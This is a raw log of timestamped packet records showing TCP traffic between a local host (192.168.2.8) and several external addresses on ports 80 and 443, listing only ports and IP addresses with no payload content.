Nov 19, 2024 18:00:48.096846104 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096923113 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096940994 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.096963882 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.096987009 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.097002983 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097022057 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097027063 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.097071886 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.097083092 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097774982 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097796917 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097837925 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.097851038 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.097878933 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.098701000 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.098718882 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.098754883 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.098767042 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.098800898 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.098804951 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.098915100 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.098927021 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.099793911 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.099813938 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.099878073 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.099890947 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.100028038 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.100706100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100720882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100737095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100754976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.100760937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100778103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100789070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.100795984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100811958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100824118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.100836992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.100841999 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.100872993 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102273941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102319956 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102335930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102338076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102372885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102380991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102387905 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102408886 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102412939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102428913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102433920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102453947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102458954 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102468967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102475882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102494001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102497101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102509975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102513075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102526903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102530003 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102545977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102551937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102565050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102575064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102580070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.102596998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.102622986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104285955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104300976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104317904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104341030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104345083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104356050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104372025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104381084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104387999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104397058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104424000 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104450941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104466915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104491949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104494095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104509115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104511976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104527950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104537964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104546070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104552984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104562998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104568958 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104588032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104604959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104758024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104779959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104795933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104815960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104820967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104832888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104856014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104856014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104873896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104873896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104892015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104901075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104917049 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104933023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104948044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104963064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104980946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.104983091 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.104996920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105000973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105012894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105020046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105030060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105036974 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105046988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105052948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105062008 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105072021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105087996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105102062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105211020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105252981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105266094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105283022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105287075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105308056 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105325937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105348110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105362892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105377913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105393887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105396986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105421066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105428934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105443001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105449915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105458975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105467081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105482101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105488062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105499029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105503082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105520010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105525017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105536938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.105545044 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105560064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.105573893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.135901928 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.135992050 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.136008024 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.136061907 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.164400101 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.164477110 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.168678045 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:48.169270039 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.169585943 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.169619083 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.169929981 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:48.169945955 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:48.171075106 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.171130896 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.172075033 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.172142982 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.174315929 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:48.174426079 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:48.175723076 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:48.175723076 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.175724030 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.175740957 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.175806046 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:48.177303076 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.177313089 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.177429914 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.179567099 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.179575920 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.179629087 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.179640055 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.179658890 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.179699898 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181180954 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181206942 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181238890 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181245089 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181276083 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181432009 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181484938 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181488991 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181785107 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181837082 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181840897 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181868076 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.181895018 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.181924105 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182248116 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182265043 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182301044 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182306051 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182337999 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182356119 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182595015 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182641983 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182652950 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182661057 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182687998 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.182697058 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.182730913 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.186227083 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.187211037 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.187238932 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.188308001 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.188370943 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.190104961 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.190176964 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.261765003 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.261817932 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.262434006 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:48.262455940 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:48.275223017 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.275229931 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.275229931 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:48.275244951 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.275249958 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:48.287384987 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:48.287462950 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:48.292736053 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.292805910 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:48.389704943 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.389724970 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:48.405318022 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:48.441915989 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.446737051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.505229950 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.505475044 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.505498886 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.505882978 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.506191015 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.506258011 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.506469965 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.506551027 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.506582975 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.542357922 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.542610884 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.542622089 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.542972088 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.543320894 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.543380976 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.543514967 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.543570995 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.543586969 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.562489033 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.562772989 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.562783003 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.564007998 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.564378023 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.564533949 CET	49827	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:48.564542055 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.564557076 CET	443	49827	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:48.570954084 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.571001053 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.571115017 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.571367979 CET	49828	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.571386099 CET	443	49828	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.624304056 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.624413967 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.624628067 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.628357887 CET	49825	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.628376961 CET	443	49825	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.652648926 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.652750969 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.653001070 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.653242111 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.653258085 CET	443	49826	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:48.653285027 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.653306007 CET	49826	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:48.663373947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663388968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663477898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663501024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663697958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663712025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663724899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663753033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663786888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663795948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663799047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663814068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663824081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663826942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663841009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663861990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663881063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663893938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663904905 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663917065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663923979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663935900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663940907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663947105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663960934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663968086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.663973093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.663983107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664012909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664031029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664042950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664055109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664064884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664077997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664078951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664091110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664093018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664102077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664135933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664169073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664180040 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664191008 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664201975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664211035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664212942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664222956 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664227009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664233923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664247036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664257050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664263010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664280891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664288044 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664294004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664302111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664305925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664316893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664325953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664354086 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:48.664418936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:48.664432049 CET	80	49761	185.215.113.206	192.168.2.8
